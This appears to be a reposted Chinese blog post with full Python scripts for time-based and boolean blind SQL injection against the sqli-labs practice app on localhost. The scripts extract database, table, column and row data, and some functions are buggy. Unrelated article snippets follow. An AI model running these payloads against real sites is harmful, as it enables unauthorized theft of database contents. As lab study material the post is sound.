sql:时间盲注和boolen盲注

关于时间盲注,boolen盲注的后面几个获取表、列、具体数据的函数补全

时间盲注方法

import time
import requests

# 获取数据库名
def inject_database(url):
    dataname = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(3), 0)-- " % (i, mid)
            res = {"id": payload}
            start = time.time()
            r = requests.get(url, params=res)
            end = time.time()
            if end-start >= 3:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        dataname += chr(mid)
    print(dataname)

# 获取表名
def table_inject(url, dataname):
    table_name = []
    index = 0
    while True:
        table_name = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{dataname}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "
                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end - start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            table_name += chr(low)
            position += 1
        # if not table_name:
        #     break
        # table_name.append(table_name)
        # index +=1
        return table_name

# 获取列名
def colum_inject(url, dataname, table_name):
    colum_name = []
    index = 0
    while True:
        colum_name = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{dataname}' and table_name='{table_name}' limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "

                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end-start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            colum_name += chr(low)
            position += 1
        return colum_name

# 获取具体数据
def data_inject(url, dataname, table_name, colum_name):
    data = []
    index = 0
    while True:
        row_data = ""
        position = 1
        while True:
            low = 32
            high = 127
            while low < high:
                mid = (low + high) // 2
                payload = f"1' and if(ascii(substr((select {colum_name} from {dataname}.{table_name} limit {index}, 1), {position}, 1)) > {mid}, sleep(3), 0)-- "
                params = {"id": payload}
                start = time.time()
                r = requests.get(url, params=params)
                end = time.time()
                if end - start >= 3:
                    low = mid + 1
                else:
                    high = mid
            if low == 32:
                break
            row_data += chr(low)
            position += 1
        return data


if __name__ == '__main__':
    url = 'http://127.0.0.1:8080/sqlilabs/Less-9/'

    dataname = inject_database(url)
    print(f"database: {dataname}")
    table_names = table_inject(url, dataname)
    print(f"table-name: {table_names}")
    if table_names:
        table_name = table_names[0]
        colum_names = colum_inject(url, dataname, table_name)
        print(f"colum-name: {colum_names}")
        if colum_names:
            colum_name = colum_names[0]
            data = data_inject(url, dataname, table_name, colum_name)
            print(f"时间盲注 - 具体数据: {data}")

布尔盲注方法

import requests

# 通用的布尔盲注函数
def boolen_inject(url, payload, payloadfas, params):
    result = ""
    for pos in range(1, 20):
        for ascii_val in range(32, 127):
            payload_true = payload.format(pos, ascii_val)
            payload_false = payloadfas.format(pos, ascii_val)
            params_true = {params: payload_true}
            params_false = {params: payload_false}
            response_true = requests.get(url, params=params_true)
            response_false = requests.get(url, params=params_false)
            if response_true.text != response_false.text:
                result += chr(ascii_val + 1)
                break
        else:
            break
    return result

# 布尔盲注获取数据库名
def get_database_name(url, params):
    payload = "1' and ascii(substr(database(), {}, 1)) > {} -- "
    payloadfas = "1' and ascii(substr(database(), {}, 1)) <= {} -- "
    return boolen_inject(url, payload, payloadfas, params)

# 布尔盲注获取表名
def table_inject(url, params, database_name):
    table_names = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select table_name from information_schema.tables "
            f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select table_name from information_schema.tables "
            f"where table_schema='{database_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        table_name = boolen_inject(url, payload, payloadfas, params)
        if not table_name:
            break
        table_names.append(table_name)
        index += 1
    return table_names

# 布尔盲注获取列名
def column_inject(url, params, database_name, table_name):
    column_names = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select column_name from information_schema.columns "
            f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select column_name from information_schema.columns "
            f"where table_schema='{database_name}' and table_name='{table_name}' limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        column_name = boolen_inject(url, payload, payloadfas, params)
        if not column_name:
            break
        column_names.append(column_name)
        index += 1
    return column_names

# 布尔盲注获取具体数据
def data_inject(url, params, database_name, table_name, column_name):
    data = []
    index = 0
    while True:
        payload = (
            f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) > {{}} -- "
        )
        payloadfas = (
            f"1' and ascii(substr((select {column_name} from {database_name}.{table_name} limit {index}, 1), {{}}, 1)) <= {{}} -- "
        )
        row_data = boolen_inject(url, payload, payloadfas, params)
        if not row_data:
            break
        data.append(row_data)
        index += 1
    return data

if __name__ == '__main__':
    url = "http://127.0.0.1:8080/sqlilabs/Less-9/index.php"
    params = "id"
    # 获取数据库名
    database_name = get_database_name(url, params)
    print(f"database_name: {database_name}")
    # 获取表名
    table_names = table_inject(url, params, database_name)
    print(f"table_name: {table_names}")
    if table_names:
        table_name = table_names[0]
        # 获取列名
        column_names = column_inject(url, params, database_name, table_name)
        print(f"column_name: {column_names}")
        if column_names:
            column_name = column_names[0]
            # 获取具体数据
            data = data_inject(url, params, database_name, table_name, column_name)
            print(f"data: {data}")

实验结论

但是两种方式都显示不了数据库名称,检查后发现是基础配置问题导致代码连接不上,正常在网址上进入是可以的。

代码本身没有问题。

现在我还没有找到问题所在,后面会抽时间改进。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/969068.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

DeepSeek+Excel 效率翻倍

2025年初&#xff0c;DeepSeek以惊人的效率突破技术壁垒&#xff0c;用极低的成本实现了与行业顶尖AI相媲美的性能&#xff0c;瞬间成为全球科技领域的热门话题。 那么AI工具的普及将如何改变我们的工作方式&#xff1f;Excel会被取代吗&#xff1f; 今天&#xff0c;珠珠带你…

WPS或word接入智能AI

DeepSeek接入WPS 配置WPS &#xff08;1&#xff09;下载 OfficeAl助手插件: 插件下载地址:https://www.office-ai.cn/。 安装插件后&#xff0c;打开WPS&#xff0c;菜单栏会新增"OfficeAl助手”选项卡。 如果没有出现&#xff0c; 左上找到文件菜单 -> 选项 ,在…

论文学习记录之《CLR-VMB》

目录 一、基本介绍 二、介绍 三、方法 3.1 FWI中的数据驱动方法 3.2 CLR-VMB理论 3.3 注意力块 四、网络结构 4.1 网络架构 4.2 损失函数 五、实验 5.1 数据准备 5.2 实验设置 5.3 训练和测试 5.4 定量分析 5.5 CLR方案的有效性 5.6 鲁棒性 5.7 泛化性 六、讨…

使用 EDOT 监测由 OpenAI 提供支持的 Python、Node.js 和 Java 应用程序

作者&#xff1a;来自 Elastic Adrian Cole Elastic 很自豪地在我们的 Python、Node.js 和 Java EDOT SDK 中引入了 OpenAI 支持。它们为使用 OpenAI 兼容服务的应用程序添加日志、指标和跟踪&#xff0c;而无需任何代码更改。 介绍 去年&#xff0c;我们宣布了 OpenTelemetry…

Golang的多团队协作编程模式与实践经验

Golang的多团队协作编程模式与实践经验 一、多团队协作编程模式概述 在软件开发领域&#xff0c;多团队协作编程是一种常见的工作模式。特别是对于大型项目来说&#xff0c;不同团队间需要协同合作&#xff0c;共同完成复杂的任务。Golang作为一种高效、并发性强的编程语言&…

Sequence to Sequence model

基础模型 基础模型是用RNN模型&#xff0c;前部分是encoder用来寻找法语输入的编码&#xff0c;后半部分是decoder用来生成英文翻译作为输出&#xff0c;每次输出一个单词&#xff0c;直到输出结束标志如EOS。 下面是另一个例子&#xff0c;在CNN模型输出层之前会输出图片的向…

verilog练习:i2c slave 模块设计

文章目录 前言1.结构2.代码2.1 iic_slave.v2.2 sync.v2.3 wr_fsm.v2.3.1 状态机状态解释 2.4 ram.v 3. 波形展示4. 建议5. 资料总结 前言 首先就不啰嗦iic协议了&#xff0c;网上有不少资料都是叙述此协议的。 下面将是我本次设计的一些局部设计汇总&#xff0c;如果对读者有…

【竞技宝】PGL瓦拉几亚S4预选:Tidebound2-0轻取spiky

北京时间2月13日,DOTA2的PGL瓦拉几亚S4预选赛继续进行,昨日进行的中国区预选赛胜者组首轮Tidebound对阵的spiky比赛中,以下是本场比赛的详细战报。 第一局: 首局比赛,spiky在天辉方,Tidebound在夜魇方。阵容方面,spiky点出了幻刺、火枪、猛犸、小强、巫妖,Tidebound则是拿到飞…

Android RenderEffect对Bitmap高斯模糊(毛玻璃),Kotlin(1)

Android RenderEffect对Bitmap高斯模糊(毛玻璃)&#xff0c;Kotlin&#xff08;1&#xff09; import android.graphics.Bitmap import android.graphics.BitmapFactory import android.graphics.HardwareRenderer import android.graphics.PixelFormat import android.graphic…

AI前端开发的崛起与ScriptEcho的助力

近年来&#xff0c;人工智能&#xff08;AI&#xff09;技术飞速发展&#xff0c;深刻地改变着软件开发的格局。尤其是在前端开发领域&#xff0c;AI的应用越来越广泛&#xff0c;催生了对AI写代码工具的需求激增&#xff0c;也显著提升了相关人才的市场价值。然而&#xff0c;…

【Mac排错】ls: command not found 终端命令失效的解决办法

【TroubleShooting on Mac】ls: command not found 终端命令失效的解决办法 A Solution to Solve “Command not found” of Terminal on Mac 一直在使用心爱的MacBook Pro的Terminal&#xff0c;并且为她定制了不同的Profile。 这样&#xff0c;看起来她可以在不同季节&…

DexVLA:通用机器人控制中具有插件式扩散专家的视觉语言模型

25年2月来自美的集团和华东师范的论文“DexVLA: Vision-Language Model with Plug-In Diffusion Expert for General Robot Control”。 让机器人能够在不同的环境中执行不同的任务是机器人学习的核心挑战。虽然视觉-语言-动作 (VLA) 模型已显示出可泛化机器人技能的前景&…

【微服务学习一】springboot微服务项目构建以及nacos服务注册

参考链接 3. SpringCloud - 快速通关 springboot微服务项目构建 教程中使用的springboot版本是3.x&#xff0c;因此需要使用jdk17&#xff0c;并且idea也需要高版本&#xff0c;我这里使用的是IDEA2024。 环境准备好后我们就可以创建springboot项目&#xff0c;最外层的项目…

DeepSeek 助力 Vue 开发:打造丝滑的返回顶部按钮(Back to Top)

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 Deep…

deepseek大模型,本地搭建deepseek模型,springai调用本地deepseek模型,java调用deepseek大模型api

文档对应的视频地址&#xff1a; https://www.bilibili.com/video/BV1V8NBevEjk/?spm_id_from333.1387.homepage.video_card.click&vd_source14d27ec13a4737c281b7c79463687112SpringAI调用本地deepseek模型 一、 使用deepseek步骤 官网注册账号 地址&#xff1a; https…

大模型语言简介

大模型语言能做什么 信息提取 将长段文字中的信息抽取出来并且以结构化的方式输出。相比起传统NLP的方式&#xff0c;大模型在泛化能力上有非常大的提升&#xff0c;并且开发成本要低2个数量级。应用场景包括&#xff1a;论文论点论据提取、用户画像提取、舆情分析、病例结构…

计算机毕业设计Python旅游评论情感分析 NLP情感分析 LDA主题分析 bayes分类 旅游爬虫 旅游景点评论爬虫 机器学习 深度学习

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

FreeRtos实时系统: 十二.FreeRTOS的队列集

FreeRtos实时系统: 十二.FreeRTOS的队列集 一.队列集简介二.队列集相关API函数三.队列集操作实验 一.队列集简介 左边的接收任务会在没接收到队列时会阻塞&#xff0c;如果前面释放信号量这时该任务也获取不到信号量。 右边使用队列集如果获取到&#xff0c;判断句柄是谁&#…

vsftpd 编译安装流程

目录 vsftpd 编译安装流程1、下载源码包并上传致服务器解压2、进入源码目录后编译源码文件3、将对应文件安装到指定位置4、准备 vsftpd 的运行环境5、启动 vsftpd 服务进行测试6、编译安装说明 vsftpd 编译安装流程 1、下载源码包并上传致服务器解压 源码包下载地址&#xff1…

【Android开发】华为手机安装包安装失败“应用是非正式版发布版本,当前设备不支持安装”问题解决

问题描述 我们将Debug版本的安装包发送到手机上安装&#xff0c;会发现华为手机有如下情况 解决办法 在文件gradle.properties中粘贴代码&#xff1a; android.injected.testOnlyfalse 最后点击“Sync now”&#xff0c;等待重新加载gradle资源即可 后面我们重新编译Debug安装…